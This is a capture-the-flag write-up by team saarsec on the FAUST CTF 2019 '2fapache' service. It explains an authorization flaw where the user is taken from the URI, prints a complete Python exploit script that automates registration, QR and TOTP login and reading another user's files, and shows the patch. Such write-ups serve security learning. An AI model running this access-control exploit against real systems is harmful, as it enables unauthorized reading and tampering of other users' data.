Saarsec

saarsec

Schwenk and pwn

FAUST CTF 2019 WriteUp 2fapache

The 2fapache service was a python webservice running on apache using FastCGI that implemented some sort of remote filestorage. Like most CTF services it allowed to register user accounts for login. Unlike most CTF services, it used two-factor authentication using the TOTP standard during login.

registration

For this, the user is presented with a QR code after registration, which can be scanned with any 2FA app.

registration_code

The login mask then queries the username, password, and the current 2FA token.

login

After successfull login, a user is redirected to /~username/, which displays the (initially empty) contents of their home folder.

content

Behind the scenes, every user is backed by an actual linux user:

def register(name, password):
    try:
        pwd.getpwnam(name)
        return False
    except KeyError:
        pass
    if '\0' in password or ':' in password or ':' in name or '\0' in name or name in ('.', '..'):
        return False

    cmd = "{name}:{password}::web_users:user from web:/home/{name}:/sbin/nologin"
    run(['newusers'], input=cmd.format(**locals()).encode('utf-8'))

    return True

Further, authentication is delegated to PAM:

def pam_auth(user, *secrets):
    pid = os.fork()
    # PAM stack does weird stuff with process credentials and umask, so do it in a subprocess
    if pid == 0:
        conv = new_simple_password_conv(secrets, 'utf-8')

        try:
            handle = pam_start('2fapache', user, conv_func=conv, encoding='utf-8')

            retval = PAM_AUTHENTICATE(handle, 0)
            # Re-initialize credentials (for Kerberos users, etc)
            # Don't check return code of pam_setcred(), it shouldn't matter
            # if this fails
            if retval == 0 and PAM_REINITIALIZE_CRED:
                PAM_SETCRED(handle, PAM_REINITIALIZE_CRED)

            pam_end(handle, retval)
            os._exit(retval)
        except PAMError as e:
            print(e, file=sys.stderr)
            os._exit(1)
    else:
        pid, res = os.waitpid(pid, 0)
        return os.WIFEXITED(res) and os.WEXITSTATUS(res) == 0

The Flaw: Authentication != Authorization

After playing with the service a bit we realized that, once logged in, we could simply access files of other users. Looking at the code, this made perfect sense:

def dav_responder(env, start_response):
    user, _, path = env['REQUEST_URI'][2:].partition('/')
    try:
        pw = getpwnam(user)
    except KeyError:
        start_response(b'404 Not Found', [])
        return []

    path = join(pw.pw_dir, path)

    setegid(pw.pw_gid)
    seteuid(pw.pw_uid)

    try:
        if env['REQUEST_METHOD'] == 'GET':
            return dav_GET(path, env, start_response)
        elif env['REQUEST_METHOD'] == 'HEAD':
            dav_HEAD(path, env, start_response)
            return []
        elif env['REQUEST_METHOD'] == 'PUT':
            return dav_PUT(pw.pw_dir, path, env, start_response)
        elif env['REQUEST_METHOD'] == 'DELETE':
            return dav_DELETE(path, env, start_response)
        else:
            start_response(b'405 Method Not Allowed', [])
            return []
    finally:
        seteuid(0)
        setegid(0)

Here, user is taken from the URI insteadof the authentication info (env['REMOTE_USER']). user is then used to find the user’s home directory, and no further checks are applied afterwards.

The Exploit

When the first flag_ids became available shortly after 14:00 UTC we noticed that they were simply paths of files of other users, e.g.

/~62GP3QgOXfOoXiHI/public/reminder

The contents of that file were a seemingly random bytestring like

60b61c77c1c7772d860a5008afab20c7340f6e0e5b3472444735b2c2

which turned out to be another filename located in the home folder of that user. This file then contained the flag:

FAUST_XOmQsAgCsYM4EQAAAADt7G3IQGyO2Cl5

To get to that point, all we had to do was create a user, login, and then access /~62GP3QgOXfOoXiHI/public/reminder. Clicking through the login form and using FreeOTP to handle the 2FA code allowed us to score our first flag for this service at only 14:07 UTC.

However, with over 200 Teams and new flags every 3 minutes it became quite clear that using an Android app to scan a qr code and then hastily type an eight digit 2FA token wouldn’t get us far.

To automate the 2FA token generation, we needed to “read” the QR code automatically.

def new_oath(user):
    assert not any(c.isspace() for c in user)
    hostname = urllib.parse.quote_plus(socket.gethostname())

    key = token(alphabet=string.digits + 'abcdef', bits=256)

    key_b32 = urllib.parse.quote_plus(b32encode(bytes.fromhex(key)).decode('utf-8'))
    user_encoded = urllib.parse.quote_plus(user)
    url_fmt = 'otpauth://totp/{user_encoded}@{hostname}?digits=8&period=30&secret={key_b32}'
    url = url_fmt.format(**locals()).encode('utf-8')
    qr = run(['qrencode', '-o', '-', '-t', 'UTF8'], input=url, check=True, stdout=PIPE)

    with open('/etc/liboath/users.oath', 'a') as f:
        lockf(f.fileno(), LOCK_EX)
        try:
            f.write('HOTP/T30/8 {user} - {key}\n'.format(**locals()))
            f.flush()
        finally:
            lockf(f, LOCK_UN)

    return qr.stdout

Looking at the registration code we can see that the QR code displayed during registration is created using the qrencode utility. Specifically, it is using the -t UTF8 option to generate the code not as an image, but rather as a sequence of UTF-8 characters. Since we couldn’t find a python library that would take such an UTF-8 representation as an input, we resorted to converting the UTF-8 encoding into an image using Pillow and passing that on to pyzbar:

from PIL import Image
from pyzbar.pyzbar import decode

def qrtosecret(qr):
    lines = qr.splitlines()
    size = (len(lines[0]), len(lines) * 2)

    im = Image.new('1', size)
    pixels = im.load()  # create the pixel map

    for x in range(size[0]):
        for y in range(size[1] // 2):
            pixels[x, y * 2] = 0 if lines[y][x] == ' ' or lines[y][x] == u'▄' else 1
        for y in range(size[1] // 2):
            pixels[x, y * 2 + 1] = 0 if lines[y][x] == ' ' or lines[y][x] == u'▀' else 1

    im = im.resize((size[0] * 2, size[1] * 2), Image.ANTIALIAS)
    data = decode(im)
    return data[0].data.decode('ascii')

Furthermore, the qrcode contains a string with the following structure:

otpauth://totp/{user_encoded}@{hostname}?digits=8&period=30&secret={key_b32}

This tells us, that we are using TOTP tokens with 8 digits that are rotated every 30 seconds. Naturally, there is also a python library for these: pyotp.

def generate_totp(secret):
    totp = TOTP(secret, digits=8)

Plugging both of these together allowed us to register and login users automatically, and thus steal other user’s flags:

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

import requests
import sys
import string
import random
import urllib
from pyotp import TOTP
from PIL import Image
import codecs
from pyzbar.pyzbar import decode

def randomstring(length=30):
    return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(length))

def qrtosecret(qr):
    lines = qr.splitlines()
    size = (len(lines[0]), len(lines) * 2)

    im = Image.new('1', size)
    pixels = im.load()  # create the pixel map

    for x in range(size[0]):
        for y in range(size[1] // 2):
            pixels[x, y * 2] = 0 if lines[y][x] == ' ' or lines[y][x] == u'▄' else 1
        for y in range(size[1] // 2):
            pixels[x, y * 2 + 1] = 0 if lines[y][x] == ' ' or lines[y][x] == u'▀' else 1

    im = im.resize((size[0] * 2, size[1] * 2), Image.ANTIALIAS)
    data = decode(im)
    return data[0].data.decode('ascii')

def generate_totp(secret):
    totp = TOTP(secret, digits=8)
    return totp.now()

def exploit(target, flag_id):
    sess = requests.Session()
    
    ## register a new user (<randomstring>)
    r = sess.get('http://{}/cgi-bin/sign-up'.format(target))
    csrf = r.text.split('csrf" value="')[1][0]
    user = randomstring(8)
    pw = randomstring(8)
    data = {'user': user, 'pass': pw, 'pass2': pw, 'csrf': csrf}
    r = sess.post('http://{}/cgi-bin/do-register'.format(target), data=data)

    ## "read" QR code
    qrcode = r.text.split('<div><pre>')[1].split('</pre>')[0]
    secret = qrtosecret(qrcode)
    secret = urllib.parse.unquote(secret).split('secret=')[1]
    
    ## login
    login_url = 'http://{}/cgi-bin/do-login'.format(target)
    r = sess.get(login_url)
    csrf = r.text.split('"csrf" value="')[1].split('">')[0]
    totp = generate_totp(secret)
    data = {'user': user, 'pass': pw, 'httpd_location':'/', 'csrf': csrf, 'otp': totp}
    r = sess.post(login_url+'?otp='+totp, data=data)

    ## access /public/reminder file
    r = sess.get('http://{}{}'.format(target, flag_id))
    filename = r.text

    ## read flag
    flag_user = flag_id.split('/')[1]
    r = sess.get('http://{}/{}/{}'.format(target, flag_user, filename))

    print(r.text)

if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2])

The Fix

Fixing this flaw proved to be a little bit more tricky. Our intial patch looked like this:

def dav_responder(env, start_response):
    user, _, path = env['REQUEST_URI'][2:].partition('/')
    user = env['REMOTE_USER']
    try:
        pw = getpwnam(user)
    except KeyError:
        start_response(b'404 Not Found', [])
        return []

    path = join(pw.pw_dir, path)

    setegid(pw.pw_gid)
    seteuid(pw.pw_uid)

However, with this patch applied our service turned to Flag not found state. After lots of trial and error we decided to do the user check at the latest possible stage: only when accessing a file that didn’t contain public in its name we compared the assumed user (from the URI) with the actual user (from env).

def dav_GET(path, env, start_response, user=''):
    if not dav_HEAD(path, env, start_response, user):
        return

    if 'public' not in path and user != env.get('REMOTE_USER', ''):
        yield 'Fuck Off'
        return

    try:
        with open(path, 'rb') as f:
            while True:
                d = f.read(1024*1024)
                if not d:
                    break
                yield d
    except IsADirectoryError:
        yield from show_template('dir_pre', {'path': html.escape(path)}, None, None)

        fmt = "<a href='{0}' class='list-group-item list-group-item-action'>{0}</a>"

        yield "<a href='.' class='list-group-item list-group-item-action active'>.</a>"
        yield fmt.format('..')
        for entry in listdir(path):
            yield fmt.format(html.escape(entry))

        yield from show_template('dir_post', {}, None, None)

Discussion

Another problem we had to deal with during the CTF was other teams deleting our precious flags. This was sadly neither prevent through the service design (DELETE suffered from the same access vulnerabilities as GET) nor forbidden by the rules. As a quick fix we simply disabled the delete-functionality alltogether. However, it turns out teams also resorted to simply overwriting our files (PUT also suffered from the same flaw).

While deleting flags was easily preventable by fixing the access checks in all cases, it also meant that stealing other teams flags essentially became a race: With other teams deleting flags we could only score a flag if our exploit ran first. This caused us to schedule our exploits much more aggressively than usual, trying to steal a flag every 15 seconds instead of just once or twice per round. Looking at final scores one may take an educated guess at which teams did delete flags and which teams didn’t…

Alltogether this was a fun challenge, and we were very proud to have scored not only first blood of this service but first blood of FAUST CTF overall ;)